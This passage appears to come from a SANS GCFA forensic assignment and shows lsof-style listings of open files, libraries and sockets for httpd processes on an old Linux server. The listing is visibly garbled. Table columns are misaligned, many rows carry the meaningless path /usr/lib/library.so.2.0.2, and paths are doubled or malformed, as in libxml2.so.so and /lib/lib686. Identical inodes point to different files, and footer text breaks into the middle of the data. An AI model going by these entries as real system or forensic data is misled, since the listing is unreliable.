<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>427611</td>
<td>440053</td>
<td>/usr/lib/libgssapi_krb5.so.3.1</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>191615</td>
<td>65351</td>
<td>/usr/lib/libgdap.so.2.0.15</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>48583</td>
<td>65345</td>
<td>/usr/lib/libxml2.so.7.1.8</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>0r</td>
<td>CHR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>1w</td>
<td>CHR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>2w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
<td>44202</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td>38183</td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3,5</td>
<td>0</td>
<td>26691</td>
<td>/tmp/session_mm_opache0.seem</td>
</tr>
</tbody>
</table>
```

(deleted)
## httpd Processes

<table>
<thead>
<tr>
<th>Process</th>
<th>Username</th>
<th>Group</th>
<th>Type</th>
<th>PID</th>
<th>Address</th>
<th>Command Line</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11985</td>
<td>229497 /usr/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8486</td>
<td>229498 /usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9304</td>
<td>229499 /usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
<td>229508 /usr/lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>229509 /usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td>229521 /usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>92407</td>
<td>440046 /usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>20666</td>
<td>440043 /usr/kerberos/lib/libgssapi_krb5.so.2.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
<td>229529 /usr/lib/apache/libdav.so</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
<td>229531 /usr/lib/apache/libssl.so</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1453198</td>
<td>425001 /usr/lib/php4/imap.so</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>92407</td>
<td>440046 /usr/kerberos/lib/libgssapi_krb5.so.2.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>20666</td>
<td>440043 /usr/kerberos/lib/libgssapi_krb5.so.2.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>292</td>
<td>130313 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>83</td>
<td>130316 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>40</td>
<td>130315 /usr/lib/locale/en_US.iso885915/LC_NAME</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>292</td>
<td>130313 /usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>153026</td>
<td>229551 /usr/lib/apache/libphp4.so</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>28962</td>
<td>440048 /usr/kerberos/lib/libk5crypto.so.3.0</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>131560</td>
<td>65396 /usr/lib/library.so.2.2.5.so</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>64819</td>
<td>66089 /usr/lib/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>924879</td>
<td>65362 /usr/lib/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>201700</td>
<td>65363 /usr/lib/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>69825</td>
<td>65355 /usr/lib/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>153026</td>
<td>66042 /usr/lib/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>290511</td>
<td>65311 /usr/lib/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>2154882</td>
<td>65386 /usr/lib/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>196866</td>
<td>65287 /usr/lib/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>717774</td>
<td>65410 /usr/lib/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>66646</td>
<td>65263 /usr/lib/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>189626</td>
<td>65384 /usr/lib/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>295833</td>
<td>65382 /usr/lib/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>140418</td>
<td>65389 /usr/lib/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79725</td>
<td>440048 /usr/kerberos/lib/libk5crypto.so.3.0</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>42069</td>
<td>65349 /usr/lib/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>44992</td>
<td>65349 /usr/lib/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>16051</td>
<td>65350 /usr/lib/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>45415</td>
<td>65350 /usr/lib/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>2457</td>
<td>130317 /usr/lib/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>60</td>
<td>130322 /usr/lib/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>173680</td>
<td>130324 /usr/lib/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1264225</td>
<td>229530 /usr/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>427611</td>
<td>440053 /usr/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>193615</td>
<td>65351 /usr/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>48583</td>
<td>65345 /usr/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>46117</td>
<td>65351 /usr/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1401027</td>
<td>73730 /usr/library.so.2.0.2</td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>0r CHR</td>
<td>1,3</td>
<td>1,3</td>
<td>9637 /dev/null</td>
<td></td>
</tr>
</tbody>
</table>
httpd 10606 root 1w CHR 1,3 9637 /dev/null
httpd 10606 root 2w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 10606 root 3w REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
httpd 10606 root 4w REG 3,5 0 26691 /tmp/session_mm_apache0.sem
httpd 10606 root 5w REG 3,5 265 38183 /var/run/httpd.mm.8124.sem
httpd 10606 root 6w REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
httpd 10606 root 7w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 10606 root 8w REG 3,6 0 44198 /var/log/httpd/ssl_request_log
httpd 10607 root cwd DIR 3,5 1024 2 /
httpd 10607 root rtd DIR 3,5 1024 2 /
httpd 10607 root txt REG 3,2 290169 131802 /usr/sbin/httpd
httpd 10607 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
httpd 10607 root mem REG 3,2 9883 229527 /usr/lib/apache/mod_vhost_alias.so
httpd 10607 root mem REG 3,2 8301 229506 /usr/lib/apache/mod_env.so
httpd 10607 root mem REG 3,2 17638 229514 /usr/lib/apache/mod_log_config.so
httpd 10607 root mem REG 3,2 7438 229513 /usr/lib/apache/mod_log_agent.so
httpd 10607 root mem REG 3,2 8530 229515 /usr/lib/apache/mod_log_referer.so
httpd 10607 root mem REG 3,2 8274 229505 /usr/lib/apache/mod_dir.so
httpd 10607 root mem REG 3,5 101902 73734 /lib/i686/libpthread-0.9.so
httpd 10607 root mem REG 3,5 173359 73732 /lib/i686/libm-2.2.5.so
httpd 10607 root mem REG 3,5 23575 63501 /lib/libcrypt-2.2.5.so
httpd 10607 root mem REG 3,5 30242 65273 /lib/libgdbm.so.2.0.0
httpd 10607 root mem REG 3,5 655224 63543 /lib/libdb-3.3.so
httpd 10607 root mem REG 3,5 1024 229516 /usr/lib/apache/mod_mine.so
httpd 10607 root mem REG 3,5 19662 66292 /usr/lib/libmm.so.11.0.23
httpd 10607 root mem REG 3,5 141735 65380 /usr/lib/libexpat.so.0.1.0
httpd 10607 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
httpd 10607 root mem REG 3,5 35886 229511 /usr/lib/apache/mod_info.so
httpd 10607 root mem REG 3,5 27836 229510 /usr/lib/apache/mod_asis.so
httpd 10607 root mem REG 3,5 14929 229508 /usr/lib/apache/mod_access.so
httpd 10607 root mem REG 3,5 10034 229507 /usr/lib/apache/mod_auth.so
httpd 10607 root mem REG 3,5 11985 229506 /usr/lib/apache/mod_auth_anon.so
httpd 10607 root mem REG 3,5 8486 229505 /usr/lib/apache/mod_headers.so
httpd 10607 root mem REG 3,5 9304 229504 /usr/lib/apache/mod_auth_db.so
httpd 10607 root mem REG 3,5 10617 229503 /usr/lib/apache/mod_expires.so
httpd 10607 root mem REG 3,5 10176 229502 /usr/lib/apache/mod_setenvif.so
httpd 10607 root mem REG 3,5 92407 440046 /usr/lib/kerberos/lib/libcom_err.so.3.0
httpd 10607 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
httpd 10607 root mem REG 3,5 122952 229529 /usr/lib/apache/libdbav.so
httpd 10607 root mem REG 3,5 210094 229531 /usr/lib/apache/libsql1.so
httpd 10607 root mem REG 3,5 1453198 425001 /usr/lib/php/imap.so
httpd 10607 root mem REG 3,5 8621 440043 /usr/lib/kerberos/lib/libcom_err.so.3.0
httpd 10607 root mem REG 3,5 20666 114263 /usr/lib/gconv/gconv-modules.cache
httpd 10607 root mem REG 3,5 29 130312 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
httpd 10607 root mem REG 3,5 65 130316 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE
httpd 10607 root mem REG 3,5 161 130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
httpd 10607 root mem REG 3,5 83 130314 /usr/lib/locale/en_US.iso885915/LC_NAME
httpd 10607 root mem REG 3,5 40 130315 /usr/lib/locale/en_US.iso885915/LC_PAPER
httpd 10607 root mem REG 3,5 58 179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
### Kevin Miller - Sans GCFA Assignment – v1.4

<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>PID</th>
<th>ValueType</th>
<th>File</th>
<th>Size</th>
<th>Offsets</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>10609</td>
<td>REG</td>
<td>/lib/libutil-2.2.5.so</td>
<td>11174</td>
<td>63541</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10609</td>
<td>REG</td>
<td>/lib/libdbav.so</td>
<td>122952</td>
<td>229529</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10609</td>
<td>REG</td>
<td>/lib/libssl.so</td>
<td>210094</td>
<td>440043</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10609</td>
<td>REG</td>
<td>/lib/libcom_err.so.3.0</td>
<td>20666</td>
<td>114263</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10609</td>
<td>REG</td>
<td>/lib/gconv/gconv-modules.cache</td>
<td>29</td>
<td>130312</td>
</tr>
</tbody>
</table>

### Key Fingerprint

```
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
```

---

As part of GIAC practical repository. Author retains full rights.
httpd 10611 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 10611 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 10611 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 10611 root mem REG 3,2 15974 229510 /usr/lib/apache/mod_actions.so
httpd 10611 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 10611 root mem REG 3,2 10617 229495 /usr/lib/apache/mod_alias.so
httpd 10611 root mem REG 3,2 53189 229520 /usr/lib/apache/mod_rewrite.so
httpd 10611 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 10611 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 10611 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_db.so
httpd 10611 root mem REG 3,2 10617 229500 /usr/lib/apache/mod_expires.so
httpd 10611 root mem REG 3,2 8261 229505 /usr/lib/apache/mod_setenvif.so
httpd 10611 root mem REG 3,2 92407 440046 /usr/kerberos/lib/libgssapi_krb5.so.2.2
httpd 10611 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
httpd 10611 root mem REG 3,2 122952 229529 /usr/lib/apache/libdav.so
httpd 10611 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 10611 root mem REG 3,2 1453198 425001 /usr/lib/php4/imap.so
httpd 10611 root mem REG 3,2 8621 440043 /usr/kerberos/lib/libcom_err.so.3.0
httpd 10611 root mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
httpd 10611 root mem REG 3,2 130312 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
httpd 10611 root mem REG 3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE
httpd 10611 root mem REG 3,2 161 130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
httpd 10611 root mem REG 3,2 83 130314 /usr/lib/locale/en_US.iso885915/LC_NAME
httpd 10611 root mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd 10611 root mem REG 3,2 292 130313 /usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 10611 root mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
httpd 10611 root mem REG 3,2 89424 63507 /lib/libnsl-2.2.5.so
httpd 10611 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so
httpd 10611 root mem REG 3,2 35340 63567 /lib/libpm.so.0.75
httpd 10611 root mem REG 3,2 28138 66033 /lib/libtdl.so.so.3.1.0
httpd 10611 root mem REG 3,2 5300 66039 /lib/libjpeg-modules.so.so.1.0.1
httpd 10611 root mem REG 3,2 426442 65304 /lib/libstdc++.3.2.2.10.0.so
httpd 10611 root mem REG 3,2 131560 65396 /lib/libpng.so.so.2.1.0.12
httpd 10611 root mem REG 3,2 59778 65358 /lib/libz.so.so.1.0.2
httpd 10611 root mem REG 3,2 146819 66089 /lib/libcurl.so.so.2.0.2
httpd 10611 root mem REG 3,2 924879 65362 /lib/libcrypto.so.so.0.9.6b
httpd 10611 root mem REG 3,2 207008 65363 /lib/libssl.so.so.0.9.6b
httpd 10611 root mem REG 3,2 68925 65355 /lib/libresolv-2.2.5.so
httpd 10611 root mem REG 3,2 153026 66042 /lib/libpng.so.so.4.0.3
httpd 10611 root mem REG 3,2 90511 66041 /lib/libjpeg.so.so.1.0.2
httpd 10611 root mem REG 3,2 215482 65386 /lib/libjpeg.so.so.3.2.1
httpd 10611 root mem REG 3,2 196866 66287 /lib/libpng.so.so.1.8.4
httpd 10611 root mem REG 3,2 717774 65410 /lib/libxml2.so.so.2.4.19
httpd 10611 root mem REG 3,2 66646 65263 /lib/libxml2.so.so.1.0.2
httpd 10611 root mem REG 3,2 189626 65384 /lib/libxml2.so.so.2.3.0
httpd 10611 root mem REG 3,2 295833 65382 /lib/libjpeg.so.so.6.3.0
httpd 10611 root mem REG 3,2 140418 65389 /lib/libjpeg.so.so.62.0.0
httpd 10611 root mem REG 3,2 79725 440048 /lib/libcrypto.so.so.3.0
httpd 10611 root mem REG 3,2 42069 425002 /lib/libpam.so.so.2.5.so
httpd 10611 root mem REG 3,2 44992 65349 /lib/libssl.so.so.1.0.15
httpd 10611 root mem REG 3,2 45415 65253 /lib/libxml2.so.so.2.2.5.so
httpd 10611 root mem REG 3,2 2457 130317 /lib/libxml2.so.so.2.3.0
httpd 10611 root mem REG 3,2 60 130322 /lib/libxml2.so.so.6.3.0
httpd 10611 root mem REG 3,2 60 130322 /lib/libxml2.so.so.62.0.0
httpd 10612 root mem REG 3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE
httpd 10612 root mem REG 3,2 161 130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
httpd 10612 root mem REG 3,2 83 130314 /usr/lib/locale/en_US.iso885915/LC_NAME
httpd 10612 root mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_PAPER
httpd 10612 root mem REG 3,2 58 179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
httpd 10612 root mem REG 3,2 292 130313 /usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd 10612 root mem REG 3,5 89424 63507 /lib/libnsl-2.2.5.so
httpd 10612 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so
httpd 10612 root mem REG 3,5 35340 63567 /lib/libpam.so.0.75
httpd 10612 root mem REG 3,2 28138 66033 /usr/lib/libltdl.so.3.1.0
httpd 10612 root mem REG 3,2 5300 66039 /usr/lib/libpspell-modules.so.1.0.1
httpd 10612 root mem REG 3,2 426442 65304 /usr/lib/libstdc++-3-libc6.2-2.10.0.so
httpd 10612 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.12
httpd 10612 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
httpd 10612 root mem REG 3,2 146812 66089 /usr/lib/libcurl.so.2.0.2
httpd 10612 root mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
httpd 10612 root mem REG 3,5 207008 63563 /lib/libssl.so.0.9.6b
httpd 10612 root mem REG 3,2 150326 66042 /usr/lib/libpspell.so.4.0.3
httpd 10612 root mem REG 3,2 290511 65311 /usr/lib/libncurses.so.5.2
httpd 10612 root mem REG 3,2 215482 65387 /usr/lib/libgd.so.1.8.4
httpd 10612 root mem REG 3,2 717774 65410 /usr/lib/libxml2.so.2.4.19
httpd 10612 root mem REG 3,2 66646 65263 /usr/lib/libbz2.so.1.0.2
httpd 10612 root mem REG 3,2 189626 65384 /usr/lib/libttf.so.2.3.0
httpd 10612 root mem REG 3,2 295833 65382 /usr/lib/libfreetype.so.6.3.0
httpd 10612 root mem REG 3,2 140418 65389 /usr/lib/libjpeg.so.62.0.0
httpd 10612 root mem REG 3,2 79725 440048 /usr/kerberos/lib/libk5crypto.so.3.0
httpd 10612 root mem REG 3,2 42069 425002 /usr/lib/php4/ldap.so
httpd 10612 root mem REG 3,2 44992 65349 /usr/lib/libber.so.2.0.15
httpd 10612 root mem REG 3,2 45415 65342 /lib/libnss_files-2.2.5.so
httpd 10612 root mem REG 3,2 2457 130317 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
httpd 10612 root mem REG 3,2 60 130322 /usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 10612 root mem REG 3,2 173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
httpd 10612 root mem REG 3,2 1264225 229530 /lib/libssl.so.2.1.0.12
httpd 10612 root mem REG 3,2 427611 440053 /usr/lib/krb5.so.3.1
httpd 10612 root mem REG 3,2 191615 65351 /lib/libnss_files.so.2.0.15
httpd 10612 root mem REG 3,2 48583 65345 /lib/libnss3.so.7.1.8
httpd 10612 root mem REG 3,2 46117 65351 /lib/libnss_nisplus.so.2.2.5.so
httpd 10612 root mem REG 3,2 1401027 73730 /lib/lib686/libc-2.2.5.so
httpd 10612 root 0r CHR 1,3 9637 /dev/null
httpd 10612 root 1w CHR 1,3 9673 /dev/null
httpd 10612 root 2w REG 3,6 1729 4420 /var/log/httpd/error_log
httpd 10612 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
httpd 10612 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem
httpd 10612 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
httpd 10612 root 1w REG 3,6 1729 4420 /var/log/httpd/error_log
httpd 10612 root 1u IPv4 361263 TCP :https (LISTEN)
httpd 10612 root 17u IPv4 361264 TCP :http (LISTEN)
httpd 10612 root 18w REG 3,6 265 4420 /var/log/httpd/access_log
httpd 10612 root 19w REG 3,6 0 44198 /var/log/httpd/ssl_request_log
httpd 10613 root cwd DIR 3,5 1024 2 /root
httpd 10613 root rtd DIR 3,5 1024 2 /root
httpd 10613 root tkt REG 3,2 290169 131802 /usr/sbin/httpd
httpd 10613 root mem REG 3,2 89547 63490 /usr/lib/libid-2.2.5.so
httpd 10613 root mem REG 3,2 9883 229527 /usr/lib/apache/mod_vhost_alias.so
httpd 10613 root mem REG 3,2 8301 229506 /usr/lib/apache/mod_env.so
Kevin Miller - Sans GCFA Assignment – v1.4

httpd 10613 root mem REG 3,2 153026 66042 /usr/lib/libpspell.so.4.0.3
httpd 10613 root mem REG 3,2 290511 65311 /usr/lib/libncurses.so.5.2
httpd 10613 root mem REG 3,2 215482 65386 /usr/lib/libgmp.so.3.2.1
httpd 10613 root mem REG 3,2 196866 66287 /usr/lib/libgd.so.1.8.4
httpd 10613 root mem REG 3,2 717774 65410 /usr/lib/libxml2.so.2.4.19
httpd 10613 root mem REG 3,2 66646 65263 /usr/lib/libbz2.so.1.0.2
httpd 10613 root mem REG 3,2 189626 65384 /usr/lib/libttf.so.2.3.0
httpd 10613 root mem REG 3,2 295833 65382 /usr/lib/libfreetype.so.6.3.0
httpd 10613 root mem REG 3,2 140418 65389 /usr/lib/libjpeg.so.62.0.0
httpd 10613 root mem REG 3,2 79725 440048 /usr/lib/libxml2.so.2.4.19
httpd 10613 root mem REG 3,2 42069 425002 /usr/lib/php4/lidap.so
httpd 10613 root mem REG 3,2 44992 65349 /usr/lib/libber.so.2.0.15
httpd 10613 root mem REG 3,5 45415 65325 /lib/libnss_files-2.2.5.so
httpd 10613 root mem REG 3,2 2457 130317

httpd 10613 root mem REG 3,2 1264225 229530 /usr/lib/apache/libperl.so
httpd 10613 root mem REG 3,2 427611 440053 /lib/kerberos/lib/kerberos/lib/krb5.so.3.1
httpd 10613 root mem REG 3,2 191615 65351 /usr/lib/libldap.so.2.0.15
httpd 10613 root mem REG 3,2 48583 65345 /usr/lib/libasal.so.7.1.8
httpd 10613 root mem REG 3,5 46117 65351 /lib/libnss_nssplus-2.2.5.so
httpd 10613 root mem REG 3,5 1401027 65370 /lib/lib686/libc-2.2.5.so
httpd 10613 root 0r CHR 1,3 9637 /dev/null
httpd 10613 root 1w CHR 1,3 9637 /dev/null
httpd 10613 root 2w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 10613 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
httpd 10613 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem
httpd 10613 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
httpd 10613 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 10613 root 16u IPv4 361623 TCP *:https (LISTEN)
httpd 10613 root 17u IPv4 361624 TCP *:http (LISTEN)
httpd 10613 root 18w REG 3,6 265 44201 /var/log/httpd/access_log
httpd 10613 root 19w REG 3,6 0 44198 /var/log/httpd/nsl_request_log
httpd 19365 root cwd DIR 3,5 1024 2 /
httpd 19365 root rtd DIR 3,5 1024 2 /
httpd 19365 root tzt REG 3,2 290169 131802 /var/sbin/httpd
httpd 19365 root mem REG 3,5 89547 63490 /lib/id-2.2.5.so
httpd 19365 root mem REG 3,2 9883 229527 /usr/lib/apache/mod_vhost_alias.so
httpd 19365 root mem REG 3,2 8301 229506 /usr/lib/apache/mod_env.so
httpd 19365 root mem REG 3,2 17638 229511 /usr/lib/apache/mod_userdir.so
httpd 19365 root mem REG 3,2 14940 229516 /usr/lib/apache/mod_mime.so
httpd 19365 root mem REG 3,2 8530 229515 /usr/lib/apache/mod_log_referer.so
httpd 19365 root mem REG 3,2 8274 229505 /usr/lib/apache/mod_dir.so
httpd 19365 root mem REG 3,2 371 130311 /usr/lib/locale/en_US.iso885915/LC_MODE
httpd 19365 root mem REG 3,5 101902 73734 /lib/id-2.2.5.so
httpd 19365 root mem REG 3,2 37359 73732 /lib/id-2.2.5.so
httpd 19365 root mem REG 3,2 30282 65273 /usr/lib/libgd.so.2.0.0
httpd 19365 root mem REG 3,5 655224 63543 /lib/libdb-3.3.so
httpd 19365 root mem REG 3,2 19662 66292 /usr/lib/libmm.so.11.0.23
httpd 19365 root mem REG 3,2 141735 65380 /usr/lib/libxml2.so.2.0.1.0
httpd 19365 root mem REG 3,5 12102 65303 /lib/libxml2-2.2.5.so
httpd 19365 root mem REG 3,2 14929 229516 /usr/lib/apache/mod_mime.so
httpd 19365 root mem REG 3,2 27415 229519 /usr/lib/apache/mod_negotiation.so
httpd 19365 root mem REG 3,2 18365 229523 /usr/lib/apache/mod_status.so
